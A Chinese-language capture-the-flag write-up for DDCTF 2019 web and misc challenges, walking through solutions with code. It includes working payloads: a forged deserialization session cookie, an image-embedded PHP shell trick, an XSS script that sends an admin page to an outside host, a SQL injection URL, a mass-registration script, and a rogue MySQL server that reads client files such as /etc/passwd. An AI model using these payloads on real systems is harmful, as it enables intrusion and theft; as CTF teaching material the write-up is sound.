Time: 2019-04-27 11:46
本来想挺进前三十呢,结果大佬们都太强了,无奈。。
web
滴~
打开界面就一张图片。
注意url
http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
参数这经过一次base16,两次base64,加密,解密后也就是flag.jpg,因此可尝试读取index.php,经过加密后为TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
访问源代码
base64解密后
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
审计代码发现它做了正则,不允许使用特殊字符,也替换了config,刚开始以为config为入口点,结果一直绕不过,得不到config.php文件,后来想放弃发现意外的,出题人博客https://blog.csdn.net/FengBanLiuYun/article/details/80616607
在出题人博客发现了这个,试了试
http://117.51.150.246/practice.txt.swp,访问后
刚开始是用老方法base64加密后读取的,后来发现可以直接访问。
看到这个后,想起来config用!替换了,可以构造f1agconfigddctf.php去访问文件
base64解密
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
很简单的绕过,
构造http://117.51.150.246/f1ag!ddctf.php?k=&uid=
flag:
web签到
打开后要认证账号密码,刚开始以为要爆破,后来抓包发现
加上admin,登录成功返回php文件,打开后
为源码,代码审计
application.php
<?php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
session.php
<?php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32); //提取session中32位MD5值
$session = substr($session,0,strlen($session)-32); //提取session中序列化字符串
if($hash !== md5($this->eancrykey.$session)) { //判断32位MD5是否与key加上序列化字符串的MD5值相等
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
?>
重点的地方添加过注释,这题的思路就是响应的set-cookie,当做请求的cookie,然后通过传参获取key值,反序列化构造session。
EzblrbNS为key,也就是构造session的密钥,
$hash = substr($session,strlen($session)-32); //提取session中32位MD5值
$session = substr($session,0,strlen($session)-32); //提取session中序列化字符串
if($hash !== md5($this->eancrykey.$session)) { //判断32位MD5是否与key加上序列化字符串的MD5值相等
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
根据这段代码可知,我们先对正常session分析一下
a:4:{s:10:"session_id";s:32:"240365a336f722945033f8c957231fff";s:10:"ip_address";s:14:"120.194.101.92";s:10:"user_agent";s:77:"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0";s:9:"user_data";s:0:"";}e29a471f922c18b31b804bf3bb6765e0;
这是url解码后的session,代码审计,先提取session中的32位MD5值,然后再提取序列化字符串,然后判断32位MD5是否与key拼接序列化字符串的MD5值相等,相等就会反序列化session。
根据这个我们可以构造session
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
再看app.php中的内容,反序列化会调用魔法函数,读取文件内容,前面有提示flag在…/config/flag.txt中,因为过滤了…/,所以用…//config/flag.txt
poc
<?php
Class Application {
var $path = '....//config/flag.txt';
public function ss(){
echo $this->path;
}
}
$ddctf = new Application();
$ddctf->path = '....//config/flag.txt';
$ddctf->ss();
echo serialize($ddctf);
?>
```php
O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";}
session:
```php
O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";}77cd55a8d29df4f005f85e536d876525
然后url编码,带着session访问session.php即可得到flag。
Upload-IMG
这题是文件上传,无法上传脚本文件,上传任意图片文件后会发现图片源码中无phpinfo()提示,于是就在图片里加了phpinfo(),结果还没用,查看返回的新图片内容里面phpinfo没了,后来知道图片被渲染了,参考:https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg
我们可以上传任意jpg图片
上传的图片无phpinfo,然后另存为返回的新图片,打开winhex查找FFDA修改(00 0C 03 01 00 02 11 03 11 00 3F 00)之后的内容为<?php phpinfo();?>
然后重新上传,
欢迎报名DDCTF
备注处xss,img发现能发出请求,网上找到一段读html的payload:
#<script src='http://your_ip/1.js'></script>
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://ip/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","http://117.51.147.2/Ze02pQYLf5gGNyMn/admin.php",true);
xmlhttp.send();
找到了接口位置
<a_target="_blank"__href="query_aIeMu0FUoVrW0NWPHbN6z4xh.php">
id参数,尝试注入,sleep和bool都不行,题目环境比较乱,最后union直接出结果。
/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,
大吉大利,今晚吃鸡~
这题很坑,不过护网杯有道类似的题,买辣条,这题利用的整数溢出可以买到入场券,然后移除对手拿到flag。
整数溢出可以拿2的63次方或2的62次方尝试,结果没试成,后来拿4611686018427387904试出来了。
注册账号进去后购买入场券抓包修改价格4611686018427387904
然后支付购买,成功后会
需要移除对手,但移除对手需要对方的id和ticket,这就很难受了。不知道这个东西,瞬间想到可以创建小号,用小号的id作为对手去移除,发现可以,这样需要创建100个,只能写脚本了,跑脚本的时候发现,并不是每个id都会当做对手去移除,有的移除不成功,就这样跑了1000多个跑出了flag。
脚本附上,太垃圾,当时只想着跑flag。
import requests
import re
import time
session=requests.Session()
m= 1
for m in range(1000):
username = 'dc1'+str(m)
password = '123456789'
#print(username)
url = 'http://117.51.147.155:5050/ctf/api/register?name='+username+'&password='+password+'' #创建账号密码
html = requests.get(url)
#print(html.text)
time.sleep(0.2)
url2 = 'http://117.51.147.155:5050/ctf/api/login?name='+username+'&password='+password+'' #登录账号
html2 = session.get(url2)
#print(html2.text)
time.sleep(0.2)
url3 = 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4611686018427387904' #购买门票
html3 = session.get(url3)
#print(html3.text)
time.sleep(0.2)
r = re.search(r'\"\:\".*?\"', html3.text, re.M | re.S)
#print(r[0])
r1 = re.sub('":"|"','',r[0])
#print(r1) #获取bill_id值
url4 = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id='+r1+'' #获取id和ticket
html4 = session.get(url4)
#print(html4.text)
id1 = re.search(r'id\"\:.*?\,', html4.text, re.M | re.S)
#print(id1[0])
id2 = re.search(r'\"\:\".*?\"', html4.text, re.M | re.S)
#print(id2)
id1 = re.sub('id":|,','', id1[0]) #id
print(id1)
id2 = re.sub('":"|"','', id2[0]) #ticket
print(id2)
url5 = 'http://117.51.147.155:5050/ctf/api/login?name=bo&password=123456789' #自己大号
html5 = session.get(url5)
#print(html5.text)
url6 = 'http://117.51.147.155:5050/ctf/api/remove_robot?id='+id1+'&ticket='+id2+''
html6 = session.get(url6)
print(html6.text)
# id11={}
# id11[id1] = id2
# if (len(id11)>105):
# break
homebrew event loop
python代码审计
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f96147e657'
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException: pass
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
print(event)
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
print(args)
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=True, host='127.0.0.1')
看到代码我们首先看到show_flag函数,直接返回flag,但在这里flag被禁止返回,所以无法通过这种方法,接下来还有一个函数get_flag,因此只能从这个函数入手,通过调用flag函数返回flag。
流程核心在trigger_event方法,trigger_event函数会把收到的参数存入session[‘log’],然后存入队列中。url参数需要以action:开头,并且url参数会直接全部传入trigger_event中,最终会返回execute_event_loop()函数。可以看到这个函数会循环提取队列中的字符串,最终由get_mid_str函数提取出函数名和参数,然后把函数名用eval与_handler或者_function拼接,接着执行该函数。看一下get_flag_handler函数,当session[‘num_items’] >= 5会把flag传入trigger_event,然后会存入session,我们把session解码即可看到flag。
这里有比较关键的两个函数buy_handler和consume_point_function,我们的points初始为3,session[‘num_items’]为0,每一次buy的参数要小于points的值,否则会报错。
get_mid_str函数会直接返回第一个;之后的内容,接着用#号分割为列表。
而我们的trigger_event是支持传入列表的,那么我们可以调用名为trigger_event的函数,参数先为buy后get_flag即可。
payload:?action:trigger_event%23;action:buy;5%23action:get_flag;,访问之后session解码即可。
py解码脚本
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Lib for argument parsing
import argparse
# Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
# prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
# create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
# create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
# get args
args = parser.parse_args()
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
def session_cookie_encoder(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error]{}".format(e)
def session_cookie_decoder(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith(b'.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error]{}".format(e)
if __name__ == "__main__":
# find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(session_cookie_encoder(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(session_cookie_decoder(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(session_cookie_decoder(args.cookie_value))
mysql弱密码
一看到题目描述就想到了mysql服务端伪造
https://xz.aliyun.com/t/3277
然后网上找了个py脚本来伪造
https://www.cnblogs.com/apossin/p/10127496.html
#coding=utf-8
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()
题目首先会给你一个agent.py,看源码知道这是一个验证服务端有没有运行mysql进程的文件,agent.py会使用8213端口,调用netstat -plnt命令查看进程和端口并返回给http请求,题目服务器先会请求你的vps上8123端口来验证是否开启mysql进程,所以直接把输出改为mysql的进程就可以绕过
result = [{‘local_address’:“0.0.0.0:3306”,“Process_name”:“1234/mysqld”}]
运行上面的py就可以读文件了,题目表单输入的是你的vps地址和mysql端口
然后疯狂读文件,读数据库文件发现只有字段和表名没有flag,后面想到有个/root/.mysql_history文件,尝试读取
就出flag了
不过这个好像是非预期解,正解应该是读取idb文件。而且读取了一下.bash_history和.viminfo文件还有新的收获,这个题目服务器上还运行着吃鸡的题目环境,还可以读取吃鸡的题目源码,flag高高的挂在里面。。
MISC
真-签到题
[外链图片转存失败(img-eXn3or9L-1562586974233)(https://upload-images.jianshu.io/upload_images/9113981-e9b01238ade79490.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
Wireshark
简单的流量分析
下载后用wireshark分析
导出http流会发现,在这有三张图片,我只用前两张做出来的。
提取出来两张图片,
第一张图片隐藏了key值,拿出来修改高度
或者pcrt工具还原也行
还有一个提示
就是它透漏了这个解密网站。
base16或hex解码后
逆向二:
https://blog.csdn.net/m0_37809075/article/details/89280350